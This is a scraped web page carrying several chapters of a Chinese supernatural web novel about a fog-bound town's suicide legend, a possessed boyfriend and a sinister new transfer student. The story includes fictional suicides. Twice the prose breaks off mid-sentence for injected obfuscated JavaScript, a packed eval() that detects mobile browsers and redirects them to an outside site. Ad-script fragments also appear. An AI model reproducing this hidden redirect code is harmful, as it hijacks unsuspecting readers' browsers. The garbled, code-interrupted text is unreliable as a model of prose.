看到富山美贵的学生照在屏幕出现的时候,我还有点恍惚,转而又变成了担忧。 “龙介,你说…富山同学会不会不死心,继续来找我的麻烦?” “不会,这里很安全。”他轻描淡写地回答。 只要乖乖待在他身边的话,那个废物根本没有机会接近他们。 我不知道他的内心活动,只是点了点头环顾了病房一圈后表示:“你说的对极了。” 这里到处都是监控,而且外面有值班的医生护士,就算是深夜,来医院就诊的人还是很多。 相比之下,确实比只有我一个人在的家里要安全不止百倍。 电视开始播报下一则新闻。 “...一周前伊藤中学发生的红丝缠人事件,经过专家的分析还原,原因是一种非常罕见的新型真菌类感染,该真菌只要在合适的温度和湿度下,以生肉或者腐肉作为培养基可以呈指数式的爆发…不过专家也有提醒,该真菌已经得到了妥善的控制,并没有发生大规模的传染,各位市民如果发现自己有类似的症状,请及时拨打以下电话…” 开什么玩笑!? 那种东西竟然是某种新型真菌吗?! “龙介,你觉得专家说的是真的吗?那种东西…真的只是真菌而已吗?” “那冬花觉得是什么?” “……” “...大概,也许,真菌吧…” 好吧,聊不下去了,我选择相信科学。 后面的新闻又陆陆续续科普一下真菌感染的危害还有常见的一些症状,我是越看越无聊,到后面上眼皮和下眼皮疯狂打架,只迷迷糊糊觉得听见了什么重要的消息,但是左耳朵进去右耳朵出去,什么都没留住。 * “...雾之町市发生的女学生集体自杀事件…截止今日确认死亡人数已达一百八十七人…” 白石冬花一共打了九个哈欠,伸了三次懒腰,最后抵挡不住睡意的侵袭闭上了双眼。 可她坐在椅子上,虽然有靠背,但仍旧睡得不太舒服,变换了好几次姿势。 仰着头卡在椅背上,不舒服。 头垂在前面钓鱼,不舒服。 头枕在双臂上趴在病床边上,还是不舒服… 新闻上的播报员还在兢兢业业地念着新闻稿—— “因为天气的缘故…雾气仍然浓郁不散,给搜救工作造成了极大的不便…事件原因正在进一步调查中…初步怀疑…邪教…” 最后她大概是睡得太迷糊了,还以为自己在家里,温暖舒适的大床上,便巴砸着嘴手脚并用爬上了他的病床。 但她也识趣,感受到前面有个物品,便小心翼翼地钻进被子,在床边的那窄小的空位中找到了自己的位置,蜷缩成一小团。 像极了小动物。 他盯着那一团看了很久。 她的黑发不听话地缠绕在白皙细腻的脖颈上,仿佛是依附在树木上的藤蔓,而树枝稚嫩柔软,好似一折就能轻易弄断的样子。 直到新闻上开始念起了女学生集体自杀时间的受害者名单,他的视线才从女孩的身上收回来。 “…以下是受害者名单…” 屏幕上,‘深田龙介’的名字郝然出现其中。 12.第十二章 一开始只是一个老旧的都市传说悄然地在学生群体中死灰复燃——相传只要在起雾的日子里,在十字路口等待第一个经过的行人,便可以向他/她询问某件事来判定【吉】还是【凶】。 如果只是学生群体之间无伤大雅的十字路口占卜游戏,倒也没有什么值得可关注的。可那个如同鬼魅般的黑衣美少年出现在这个传说,成为传说变体的一份子后,整件事的走向便不可抑制地发展到一个完全无法控制、甚至是疯狂的状态。 只要起雾的日子,在十字路口见到黑衣美少年,询问他有关自己的恋情是否能够成功,黑衣美少年就会告诉你答案。 可惜,无一例外,都是能够引导人们走向自我毁灭的答案。 田中玲枝和柴山绿就是其中之一。 柴山绿喜欢深田龙介,这是显而易见的事实。 她和深田龙介从小就认识,虽然龙介后来转学去了东京的大城市,一别就是好多年,但也称得上是青梅竹马,只可惜深田龙介一直对柴山绿的示好完全无动于衷,并且表示自己在东京已经有女朋友了。 柴山绿在学校一直都是饱受男生追捧的对象,什么时候受过这种打击,闷闷不乐了好长一段时间。 身为好友的田中铃枝看了未免也担忧起好友来,便在那个起雾的日子里鬼使神差地来到了十字路口。 然后如愿地,见到了十字路口的美少年。 黑发少年的身影在浓雾中修长得不可思议,形似鬼魅,貌若罗刹,带着令人沉沦的堕落气息。 那一瞬间,她只感觉自己连呼吸都要滞住,阴冷恐惧的氛围就好像周身的雾气一样无孔不入,从她的鼻腔中吸入然后蔓延至四肢百骸。 就在黑衣美少年即将离去的一刻,她终于鼓起勇气叫住了对方。 “那个…您好,我想请问下,我的好友小绿的恋情…有没有机会成功…?” 浓雾中的少年似乎是轻笑了一声。 他说:“比起关心她的恋情,你还是担心一下自己的恋情吧。” “去疯狂地爱,疯狂地争取吧…不然这样乏味的人生,跟死了有什么区别?” 是啊,比起当个烂好人关心柴山绿的恋情,她为什么不多关注一下自己的恋情? 明明她也很喜欢…不,她也早就爱上了深田龙介! 【去疯狂地爱,疯狂地争取吧…】 【不然这样乏味的人生,跟死了有什么区别?!】 跟!死!了!有!什!么!区!别!? 那一瞬间,铃枝感觉有什么东西断掉的声音响起。 * 自那之后,田中铃枝便开始她疯狂的行径,包括但不限于跟好友柴山绿决裂,对早就表明已有女友身份的深田龙介穷追不舍,疯狂表白,肆意偷窥甚至还会尾随跟踪他上下学…一切的一切都让深田龙介烦不胜烦。 以前那个善解人意的铃枝不见了,却而代之的是一个实打实的疯子。 一开始他还念在是朋友的份上没有说很重的话,但随着她的行为越发肆无忌惮、变本加厉,龙介终于忍不住狠狠拒绝了她。 然而这一次,还是在那个起雾的日子里,还是在那个熟悉的十字路口,铃枝毅然而然用美工刀划破了自己的脖子。 田中铃枝的自杀就好像是一把钥匙,又将深田龙介拖回去了十年前的那一场噩梦。 十年前,龙介也曾经在十字路口碰见过一个绝望的女人。他那天刚好和父母吵架心情不好离家出走,路过那个十字路口的时候,那女人叫住了他。 她说自己很爱男友,可是男友已经有老婆小孩,家庭美满。 她问龙介,这段恋情会不会有结果她该不该坚持下去。 心情烦躁的龙介只是回了一句——“会有结果才怪,你这个大白痴”便急匆匆地离开了。 第二天,女人在那个路口用美工刀划破了自己喉咙,一尸两命。 他这才知道,原来她腹中还有一个未成形的小宝宝。 自此,这件事成为深田龙介挥之不去的噩梦。 如今,噩梦再次重演。 深田龙介这才惊觉,原来十年来,他和那个绝望的鬼魂一样,都被困在了这个十字路口。 * 田中铃枝的自杀学校里面众说纷纭。 她死前的疯狂大家有目共睹,对龙介的死缠烂打亦是如此,大概出于隐晦的嫉妒和排外心理,关于铃枝的自杀和龙介之间的传闻开始越演越烈。 铃枝是在龙介面前自杀的… 听说深田龙介玩弄了铃枝的感情,所以铃枝才会发狂… 听说她自杀之前也曾经见过十字路口的美少年… ……传闻越演越烈,最后演变成了‘深田龙介’就是十字路口的黑衣美少年。 那些疯狂的女学生们开始对深田龙介围追截堵,甚至会在深夜的时候,爬上龙介房间的阳台窗户,一遍又一遍地诉说自己对十字路口美少年的爱恋,就连自己的父母都受到了影响。 走投无路的时候,柴山绿出手相助,帮他躲到了山上移动废弃的房子中。 在那个房子里,柴山绿再一次向他告了白。 深田龙介还是拒绝了她。大概是出于感恩,也可能是秘密独自藏在心里真的够了,他向柴山绿坦白了十年前的那场噩梦,那女人和她肚子里的孩子他已经没办法挽回,所以他将希望放在柴山绿身上,希望她能原谅自己。 那个死去的女人,不是别人正是柴山绿的小姨。 而她腹中的胎儿,也本该是柴山绿的侄子。 “你真的以为我会原谅你这种人吗?我告诉你,我这辈子都不会原谅你,我会恨你一辈子!” “你这种人就该痛苦而死,你的女朋友肯定不知道你干的这些事情吧..要是她知道,你猜她会不会厌恶你,然后跟你分手?十字路口的美少年说的没错,像你这样的人,你就该痛苦而死,孤独而死!这一切都是你的报应!” 面对柴山绿一反常态的癫狂和扭曲,深田龙介只觉得痛苦和疲惫。 他开始明白,这一切就好像是一张无形的大网将他困在其中,一切的源头都是十年前他曾经做错的事情。 这是一场针对他的恶意编撰出来的局。 所以,他编辑好了遗言,但是在按出发送的前一刻还是住手了。冬花给他发了很多信息,但他没有回复。 从他敏锐地感知到现在发生的种种一切都是针对他而预谋发生的开始,他就不敢回复冬花的信息了,他害怕自己真正的软肋被人发现。 他就是有这样的直觉,这会害死冬花的。 “拜拜就拜拜,下一个更乖!记住,现在是我甩了你,不是你甩了我!龙介你这个大混蛋,诅咒你这辈子就找不到像我这样又漂亮又可爱还心地善良的女朋友!大!混!蛋!” 这是冬花给他发的最后一条信息。 他完全能够想象到少女是怎么样辗转反侧,每天盯着手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733560|144268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机鼓着脸,心里在暗暗骂他是渣男的模样… 还有这条短信,那个笨蛋一定是哭得很可怜吧… 深田龙介看着这短短的几行字,整个夜晚没有合上双眼。 第二天,他做出了一个重要的决定。 既然有错,他就应该要去赎罪。 哪怕这场赎罪已经迟到了将近十年。 雾之町仍然被浓雾所笼罩,那些因为十字路口美少年而自杀的女学生冤魂被束缚在了这条路上,跟这些浓雾一样徘徊不去。 在雾中,他看见了十年前的女人。 然后是死去的田中铃枝。 最后是…柴山绿。 她说:“抱歉龙介,我不该对你说那样的话…我真的没有办法,自从遇见那个美少年之后…就好像被莫名的憎恨控制了一样…我不想恨你一辈子,只要我死了的话,大概就能结束这场无休止的怨恨了吧…呐,龙介,我们还是朋友吗?” 深田龙介看着柴山绿脖子上那参差不齐的切口,最终还是叹了一口气。 他说:“当然,我们是朋友。” 柴山绿释然地笑了,她的身形在浓雾中变得越发浅淡,即将消散的前一刻,她担忧地对自己的失而复得的好友说: “别去,你会死的。” “我知道。” 深田龙介的笑容充满了苦涩和孤注一掷的绝望,但眼神却是前所未有的坚定。 是时候该让一切画下句号了。 …不能再有他身边的人因此而受到伤害… 于是他掏出美工刀,拇指按压着将刀片一节节地压出来,发出的嘎嘎声被怨灵们绝望的呢喃声所掩盖,一步一步走进鬼魂们的世界中。 目标是被徘徊不散的怨灵们所簇拥的黑衣美少年。 由他开始的,就应该由他结束。 真的、真的对不起,冬花…没办法跟你考上同一所大学了… * 自那天开始,雾之町又有了新的都市传说。相传在起雾的日子,去十字路口做占卜的时候,如果遇见的是穿着白衣的美少年,那么自己的愿望就一定能够实现。 雾之町的浓雾仍然没有完全散去,居民们在清晨和深夜的时候,还能够听见那些死去的少女们的声音,她们仍然徘徊在原地一遍一遍地追寻着黑衣美少年的身影,等待着永远无望的回应。 有少女不小心闯入浓雾当中,被那些模样凄惨的怨灵吓得不敢动弹。 忽然,浓雾中出现出现了一位身穿白衣的美少年,雾气萦绕在他的周身,显得修长鬼魅,俊美的脸上没有太多表情,轻轻瞥了好像被顶住的少女一眼。 少年红唇轻启,他说:“回去吧,这个地方没有你想要的答案。” “你的命运掌握在你自己的手里,回去吧。” 如同叹息般话语轻飘飘的落下,那些缠绕在她身边沉重的负担顷刻之间消散,少女一愣,恢复知觉的双腿立马便条件发射地动起来,本能驱使着她离开这片危险的区域。 “谢、谢谢你。” 四周浓雾依旧,怨灵顽固还留在原地始终不肯离去。 忽而前方出现了黑衣美少年的身影。 两人几乎是立马地对上了视线。 黑衣没有瞳孔,只有眼白的双眸却仍然透露着嘲弄,嘴角的弧度充满了恶意与不屑,然后在白衣的注视下,缓缓拿出了一条手帕。 白衣目眦欲裂。 --那是冬花的手帕。 13.第十三章 第二天我打着哈欠来到教室,刚坐好在位置上同学们就围了上来,七嘴八舌地关心起我来。 毕竟我算得上这件事的受害者之一,虽然真正的受害者一个已经在医院的负一层,一个在正一层..... “白石同学,你还好吗?我以为你今天会请假的,没想到你居然这么热爱学习...” 倒也不是热爱学习,只是快到期中考试了。 再说了...... “我其实也没受什么伤啦!” “...要是换我经历这么恐怖的事情的话,绝对会吓得精神失常...阿不对,精神衰弱吧...白石同学真厉害!” “话说...完全没想到富山同学居然会做出这么疯狂的举动,明明平时是个非常可靠又努力的人呢...而且,她居然杀害了千绘同学!” “什么?!死者竟然是千绘同学吗?可是她们不是好朋友吗?” “谁知道呢......可能富山她真的疯了吧?!好像事情就是富山同学休假一周后回来,开始变得不太对劲吧,一向低调的富山同学,忽然变得高调起来了呢...” “......” 已经完全把我忽略了开始在讲八卦了呢... 不过,为什么非要围着我的位置来讲?! “...不过啊,那天体育课的时候我不是被老师叫去器材室拿东西吗?我听见啊,当时富山同学和千绘同学正在最里面的杂物间吵架,我本来没有要偷听她们的意思,但是她们吵得太大声了,我便不小心听到了几句,好像她们是为了一个男生在吵架...叫富什么的一个男生...千绘同学一直辱骂富山同学,说她不知廉耻抢走了对方什么...我不敢发出很大的声音,只是默默将器材拿走就赶紧离开了,后面发生了什么便也不知道了...然后就是当晚在家里看电视知道了富山同学杀了人还潜逃...” 果然,八卦这种东西就像是空气中的其他成分,只要你还在呼吸,就会不可避免地吸入,就算不主动去问也会进入你的耳朵。 不过,富什么的,是不是就是富山同学那天口中一直念叨着的‘富江姐姐’? “你们可以不要围住我的位置吗?” “我想要安静地学习,等待上课。” 周围的声音瞬间安静了下来,我有些诧异地看向乙骨忧太。 大概大家也没有想到在班上一直都扮演着透明人角色的乙骨忧太居然会说出这样的话,面面相觑了好一会,最后还是散开了。 世界终于安静下来了..... 不过乙骨忧太的脸色算不上太好,眼睛下方还有一圈青黑,大概是晚上睡不好所以今天心情不好? 他看了我一眼,然后坐下。 他语气平淡地开口说:“如果不喜欢她们围在这里,就说出来。” 我一愣,然后小声地回了一句,“谢谢你,乙骨同学。” 是我刚才的表情太明显了吗... 乙骨同学,人还怪好的... * 上课铃声很快响起,班主任走进来,但没有马上开始讲课,而是跟我们宣布有新的转校生要转进我们的班级。 “这位新同学之前是在别的城市念书,昨天才来到东京,所以各位同学要尽可能多帮忙新同学熟悉新学校、新环境,团结友爱知道吗?” 班上的同学异口同声地说好,语气都是兴奋和期待。毕竟我们班上的人,除了乙骨忧太是去年转学过来之外,都是一路从低年级一起升上来的,已经很久没有新面孔的加入了。 “那么,让我们一起欢迎新同学进来,请新同学自我介绍吧......” 随着班主任的话音落下,新同学便走进了教室。 刚还喧闹躁动的同学们瞬间安静了下来,目不转睛地盯着面前的人。 原因无他,新同学真的太美了。 少女穿着和我们一样的校服,黑发如同瀑布一样光滑披在肩上,白如雪的皮肤没有半点瑕疵,就连毛孔都没有,黑白分明的眼睛如同宝石般清澈透亮,眼角微微上挑,下方的泪痣瑰丽,艳丽的红唇若有似无地勾着嘲弄的弧度,好像根本没有人能入得了她的眼似的。 毫不夸张地说,这是一个就连头发丝儿都透露着优雅与美丽的美人。 我不由地多看了她一眼,感叹世界上居然会有这么好看的人存在。 然而这种感叹在女生开口做自我介绍的时候瞬间消失得无影无踪。 因为她说:“我叫川上富江。” 富江。 我顿时愣住,然后大脑不可避免地回想起昨天那段恐怖的经历,富山同学发狂的时候,好像就是一直在念叨着‘富江’这个名字。 她和疯狂的富山同学,以及被杀死的千绘同学之间是什么关系? 我想不通,但听到这个名字的时候,还是没由来地感觉到背脊骨窜上来一股寒意和恐惧。 毕竟昨天可是差点把命都交代在那里...... 不过,新同学显然很受大家的欢迎,一下课她的位置就被围得水泄不通了,不光是我们班上的同学,就连走廊上也围满了其他班上来看热闹的学生。 一时之间,我们班上形成了一个以新同学为中心的群体,除了我和乙骨忧太还在位置上,几乎没有人在自己的位置上呆着。 我就算了,但是为什么乙骨忧太也是一副完全对新同学的美貌完全无动于衷的感觉呢? 难道他不喜欢美女吗? 吐槽归吐槽,我也只敢在内心吐槽一下,并不敢舞到正主面前。 不过新同学的魅力显然有点大的夸张,下课被同学们围得水泄不通就算了,就连来上课的老师也会因为偷看新同学而忘记自己讲课讲到哪里。 所有人都沉浸在一种诡异的、突然的狂热当中。 我隐隐觉得哪里不太对劲,但说不上来到底哪里有问题。 不过整整一天,我和新的转校生川上富江一点交集都没有,也不好多评判些什么。 直到放学的时候,我站在学校的自动贩卖机正在思索买什么饮料的时候,川上富江出现在我身边。 我误以为是我思考的太久妨碍了她买饮料,便不好意思地借过,她却主动跟我说话。 “白石同学...你好像很害怕我的样子?” 我一愣,下意识反驳,“没有的事...” 说完才意识自己有点欲盖祢彰了... 倒也不是害怕...只不过... 不知怎的,我居然很有勇气地开口问道,“川上同学...请问你认识富山美贵和千绘同学吗?“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742242|144268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不认识,这种名字连听都没听说过。” 富江的语气轻描淡写,表情有些淡然的冷漠。 “一听就像是丑八怪的名字。” 我认真端详着她脸上的表情,看上去不像是在说谎,心道大概只是我多心,也有可能只是同名的人而已,毕竟班主任一开始也说了,富江是这两天才从别的城市来到东京。 照理说,她们在空间上应该是不会有交集的才对... 不过,这人怎么张口闭口就是丑八怪啊... 我皱眉纠正,“富山同学和千绘同学不是丑八怪...” “怎么,难道她们还能比我漂亮吗?” 她的语气顿时变得有些危险,黑白分明的眼眸紧紧盯着我,我有种被毒蛇盯上的错觉。 我一顿,“川上同学,你确实很漂亮,她们也没有你好看。” 她这才露出了满意的笑容。 我接着补充,“可是你不能这样不尊重人,尤其是千绘同学,毕竟死者为大...” 说着说着,我语气也弱了下去。 不是,我在这里教育啥呢教育...我不是只是来买瓶饮料的吗? “好吧,我感到抱歉,你说的对,死者为大。” 她的语气还是轻飘飘的,完全听不出来有尊重死者的意思。但我还是很诧异她居然就这样轻飘飘地倒了个歉,正不知道怎么回复的时候,她又指着贩卖机最顶层跟我说: “给我买最贵的那个,我想喝。” 是陈述语气,而且是命令句。 她的姿态自然而然,就好像所有人都应该要听从她的吩咐似的。 “.......” * “...龙介你说,川上同学和富山美贵以及千绘同学之间,会不会真的有关系?” 来到医院后,我将新来的转校生的事情一五一十地告诉了龙介, “那天你也听到了吧...富山同学一直喊着的名字,好像就是富江...我应该没有听错吧?” 我有点紧张又有点期待地看着龙介,希望从他嘴里听到一些有用的观点。哪知道他听完只是紧抿着嘴唇,嘴角也下沉了一点,片刻才开口: “所以最后,你给那个废物买了?” 我一愣,完全没来得及去注意龙介对川上同学的不礼貌称呼,而是呆呆地点头,“买了...虽然说是贩卖机里最贵的但其实也还好才两千日元...我想着毕竟是新同学还是要友善一点...” 我的声音又弱了下去,及时闭嘴。 龙介看上去好像更不开心了...... 他冷哼一声,“那她下次叫你把全副身家给她难道你也乖乖地给她吗?” 我一时语塞。 怎么可能,区区一瓶饮料和全副身家还是非常不一样的好吗? 但我知道龙介是为我好,害怕我会吃亏...虽然反应好像大了点,然后用词也不太礼貌。 我摸了摸鼻子,最后还是站起来,“我下次绝对不会了!龙介你等着我,我现在就去给你买更贵的饮料!” 然后逃似地离开了病房。 离开的时候,我还是能明显感觉到龙介不悦的目光聚焦在我身上。 看来买一瓶不够,得多买两瓶才可以... 14.第十四章 今天的医院莫名有点冷清,值班台的护士姐姐好像也不在。 大概是空调开得比较低,我独自走着莫名其妙打了个冷战,手一动,袋子里的东西不小心掉落在地上,是一罐牛奶。 圆柱形的罐子顺着惯性轱辘轱辘地往前滚了一小段距离。 然后骤然停住。 无论怎么看都是一个经典恐怖片的刻板桥段。 下一幕即将登场的应该是医院走廊的灯光忽闪忽灭,然后恐怖的鬼面忽然蹦到我的面前来一个jump scare,可我在原地等了好一会也没等到这种经典桥段。 ....对不起,昨天看的恐怖片有点上头了。 我一边默默吐槽着一边准备向前去捡牛奶罐。因为一手提着超商袋子,一手提着外卖的缘故,我艰难地蹲下身准备去捡。 在马上要碰到的一瞬,有人先我一步捡起了牛奶罐。 准确来说,是四个人。 四只素白纤细的手同时握住牛奶罐,花花绿绿的瓶身被她们的手填满,我抬眸看去,入目的是四个站在一排的女人,正笑着看着我。 女人们的外貌都各有千秋,放在人群中也是相当惹眼的存在。 ....总结,是四个美女。 只是,我看着她们一起伸出来的手,有点犯难该怎么接过来,毕竟碰到别人的手好像不太好...最后只得掌心朝上,伸出双手,“真的麻烦了...” 女人们见了我的样子似乎觉得有些好笑,四只手同时松开,罐子还是稳稳当当地落入了我的掌心当中。 “谢谢你们。” 我将罐子放回到袋子中,站在最中间的女人率先问道:“小妹妹,你是新来的病人吗?” 她的话音才刚落下,立马是第二个、第三个甚至第四个接上: “怎么以前没有见过你?” “住在哪个病房?” “你长得很漂亮哦~” 四人不停歇地一句接着一句,就好像是将本来一个人可以问完的事情毫无违和地分成四个来问,完全没有我中途插嘴的余地。 不仅如此,她们连嘴角上扬的弧度也几乎是如出一辙,透露着一种浓厚的违和感。 我下意识后退一步,故作淡定礼貌地回答:“...不是,是我男...男友住院了,我是来探望他的,谢谢你的夸奖,那个...我还有事就先走了,谢谢四位姐姐。” 说完,我便转身离开。 走廊里只有我匆忙又沉重的脚步声,她们似乎还一直站在原地齐齐地注视着我,这令我越发地感到不安和毛骨悚然。其实龙介的病房就在前方,但出于本能和自觉,我还是越过龙介的病房,走到尽头然后拐进拐角处。 那些如影随形犹如实质的目光这才消失。 我终于松了一口气。 * 没过一会儿,她们四个也一起离开,确定走廊上已经没有人之后,我这才走出来。 提着袋子走到龙介病房的时候,我听见里面传来了争吵的声音。 但因为隔着一扇门,我听不的不太真切,声音甚至有点失真,只隐隐约约听见‘怪物’‘去死’等字眼,还伴随着什么东西碎裂的声音,我心下一惊,还以为是富山同学还是找上了医院,正准备对龙介不利。 门从里面被反锁了,我便使劲地拍门,“龙介?!龙介?!谁在里面?你还好吗?” 里面争吵的声音瞬间停滞。 我心下一沉,当下就用自己的身体去撞门。 几下的功夫,门奇迹般地被我撞开了。 ...龙介正躺在病床上,除了脸色差了点之外安然无恙。 而一眼望到底的病房内除了龙介之外,显然也没有其他的人。 “龙介?我刚才在外面明明听见有人在房间里争吵.....你真的没事吗?” “你看我像是有事的样子吗?冬花大概只是听成了电视的声音吧...刚才无聊打开电视看了一会...” 龙介一副无所谓淡然的样子。 “那你为什么现在又不看电视了?”我多问了一句。 他神色有些恹恹的,语气有点理所当然,“因为发现电视更无聊。” 好合理的回答…完全挑不出问题…毕竟傍晚又还没到晚上的那段时间电视台的节目是最无聊的! 我深有同感地点了点头。 走到病床边上,我忽然感觉脚下好像踩到了什么,硌脚得很。低头一看,是花瓶的尸体碎片,再抬头看向床头柜上原本放着的花瓶果然不翼而飞。 察觉到我的视线,龙介的目光有一瞬间变得阴郁和烦躁,转瞬即逝,在我抬头看他试图找他要个说法的时候便消失得无影无踪。 他又变回了那个恹恹的表情,耸拉着眼皮,看上去还有点虚弱,主动坦白道:“今天下午的时候,我想下床去走动一下,太疼了,不小心把桌子上的东西弄倒了……” 我心中的怀疑立马被愧疚而取代填满,压根没来得及去思考这个花瓶刚才是不是还在这个问题,赶忙放下手里的东西嘘寒问暖起来。 因而没能看见阳台上一闪而过的一道身影,那身影伫立在边上很长一段时间,最后才缓缓消失。 * 晚饭过后,医生照例过来巡房,给龙介的伤口换药。虽然只是上半身脱光换药,但我还是走出病房在外面等着。 不知怎地,自从刚才开始我就感觉脸颊上有种刺刺的感觉,就好像秋冬皮肤干燥一样,可明明现在才夏天…… 我摸着脸胡乱想着,因为太过无聊,就干脆在走廊里闲逛。 因为这里是外科,墙壁上挂满了很多跟外科相关的宣传知识,反正也是没事做,我就一张一张开始看起来。 比如发生骨折的话怎么样去应急处理,尽可能不要移动患者或者触碰伤口…… 再比如、骨折微创手术可以尽量减少对骨折端软组织血运的干扰和破坏…… 知识就这样莫名其妙地进入了我的大脑。 忽然,旁边的病房门从里面被打开,一个穿着病号服的女人跌跌撞撞地从门口后掉出来,几乎是连滚带爬,脸上写满了惊慌和恐惧,见了我就好像见了救命稻草似的,一下子猛地抱住我的大腿, “快、快救我……里面有怪物…她们…她们嘴巴里长出了蛇…很多很多条蛇,还有像针一样的东西,想要戳进我的嘴巴里…好可怕!快点救救我!” 我人生第一次被人抱住大腿,当下被吓得不知道该怎么动弹,只得愣在原地,讷讷地回了一句,“要、要帮你报警吗?” “……快救救我!不要让她们靠近我!” 最后是路过的护士姐姐搭救了我。 两个护士连拖带拽才把女人从我腿上扯开,见来了护士,她便立马将希望放在护士的身上,大喊,“我怕要转病房!我现在马上立刻就要转病房,我不要跟这四个怪人在同一个病房!” “死都不要!” 两个护士面面相觑,最后只是跟我说了声抱歉,然后就带着这位抓狂的病人离开前往值班台了。 见她们离开,我松一口气,但随即生起了非常不必要的好奇心。 我盯着那扇半开的房门,只是在外面偷偷看一眼的话,应该没关系的吧…… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >这样想着,我便小心翼翼地凑到门缝边缘,朝内张望了一眼,然后愣住。 是不久前在走廊遇见的那四个奇怪的女人。 她们各自躺在自己的病床上,正齐刷刷地看着电视,就连姿势和表情都是出奇的一致。 我不敢多看,立马离开了这个地方。 心里暗道自己得远离这个病房,远离这四个奇怪的女人。 回到龙介病房的时候,医生神色有些慌张地从里面走出来,脚步匆匆一副见了鬼的样子,就连我本来想要问他的一些问题都没来得及问出口,就跑没影了。 “堂本医生怎么跑这么快?换好药了?” 我走进病房,一脸奇怪地看向龙介。 后者连眼皮都懒得抬,一副漫不经心的样子,“急着去投胎吧。” 不就是一下忘记了把伤口弄没了,那个愚蠢医生就好像没见过世面一样直呼医学奇迹,还恬不知耻地一直盯着他的胸口,于是他就忍不住稍微展露了一下原本的眼睛,结果就被吓跑了。 细细想来,全都是深田龙介那个废物的错。 如果不是他非要凑上找茬,他也不至于把这个重要的伤口给忘了… 至于糊弄白石冬花这种笨蛋,他还是得心应手的。 “……” 我竟然已经习惯龙介说这样的话了。 包括且不限于之前他称呼素未谋面的川上同学为废物。 不过,自从龙介从雾之町转学回来之后,性格上确实发生了很大的改变。 以前的龙介虽然也不善言辞,但是待人接物还算温和礼貌,而不是现在这样,嘴巴就好像涂满了毒药似的,一开口就是阴阳怪气,尖酸刻薄的话语就好像随时上好膛的枪等待着发射。 龙介在雾之町的小半年里,究竟发生了什么呢? “话说,龙介在雾之町发生了什么事吗?好像一直都没有听龙介提起过雾之町的生活呢……” 他一愣,表情变得有些难以捉摸。 “呵呵,雾之町吗…是一个很烂的地方,经常会有大雾笼罩在那一片区域,阴冷潮湿的空气,伸手不见五指的道路…而且……” 龙介的语气陡然变得莫测, “冬花没看新闻吗?那个地方有很多人自杀了…清晨独自走在路上的话,据说还可以听见那些死去的怨灵们徘徊在原地的哀嚎声……” 我思考了一下,将龙介话里的不科学成分自动忽略并且剔除才开口:“确实,天气也是影响人心情的重要一环,如果终年大雾鲜少阳光的话,人也会感到抑郁呢。” 这可能就是雾之町自杀率高的原因吧…… 他一顿,又接着补充:“……所以啊,那个地方根本没什么值得好说的,也没什么值得喜欢的。” 没有人会喜欢雾之町这样就连空气呼吸起来都会异常沉重的鬼地方。 少女却兴致盎然地从书包里掏出物理书,翻到其中一页,“...但是据说雾天的话,在太阳的照耀下,会产生神奇的丁达尔效应,阳光会在雾气中发散成美丽的光束呢!龙介不觉得会很梦幻吗??” 黑发少年的表情变得有些松怔,紧抿着一副无语的样子。 他嘴唇红得像玫瑰,肤色很白,艳丽得像鬼一样,就连愠怒都带着一种自己难以察觉的气急败坏。 少女还在喋喋不休卖弄着今天上课学到的新的物理学知识。 什么丁达尔效应,什么散射阳光… 他不耐烦地打断:“你是傻蛋吗?都说了浓雾伸手不见五指,是光都不可能透过的浓雾!” 雾之町的浓雾,分明是阳光无法抵达的所在。 15.第十五章 黑发少年苍白病态的脸染上阴霾,漆黑的眸子微缩,在白石冬花兴奋地翻着物理书的时候,透露着一种危险的信号。 这个人类真的好吵。 吱吱喳喳的,好像困在笼子但不自知的金丝雀儿,殊不知自己的命运早就被人捏在手心里随意的玩弄,散发着一种无知无畏的天真蠢劲。 …好想捏死… 还不行。 至少不是现在。 我没有敏锐地察觉到这些细微的变化,只是单纯地认为这是一个文学上夸张的修辞方式和科学理论之间的简单碰撞,片刻后盖上物理书本,非常认真地回答道: “……就算是再浓的雾,光肯定是可以透过的…又不是黑洞什么的能把光都吞噬进去…雾之町总不可能有黑洞吧?” 想象了一下完全没有光能透过的雾… 不懂就问,难道是遮光窗帘吗? 见龙介一直不说话,我还以为是他已经找不到理由反驳我了。说实话,龙介平时的阅读量很大,比我还不爱社交,平时不是泡在家里就是泡在图书馆里,天文地理多少懂点,我很少有说的过他的时候。 这是第一次! 感觉自己厉害坏了。 不过我是懂见好就收的,当下开始贴心地给他找台阶下,“没关系…等寒假的时候,我们可以去雾之町玩,到时候就知道阳光究竟可不可以透过雾气啦!” “我也很想去看看龙介小时候生活过的地方呢~” 我眨巴着眼睛看他,他扯了扯嘴角,最后别开了视线。 “你好吵。” 哦,嫌我吵了呗。 我也不理他,干脆就掏出作业开始做起来。 反正谁先开口谁是小狗! ……只是,怎么又是该死的物理作业! 根本不知道怎么下笔…… 难道要请教龙介吗? 他物理一向是很好的… 女孩的心思完全写在了脸上,一副明明很想跟他说话想他来哄自己但是又放不下面子的气呼呼的样子,时不时自以为是地偷偷用余光打量他,在他看过去的瞬间又故作镇定地躲开。 “……” 虽然生气但还是忍不住想找他聊天吗… 片刻后,他敛去眼底的晦涩,像是大发慈悲似的开口打破沉默:“随你,不过雾之町可没什么好玩。” 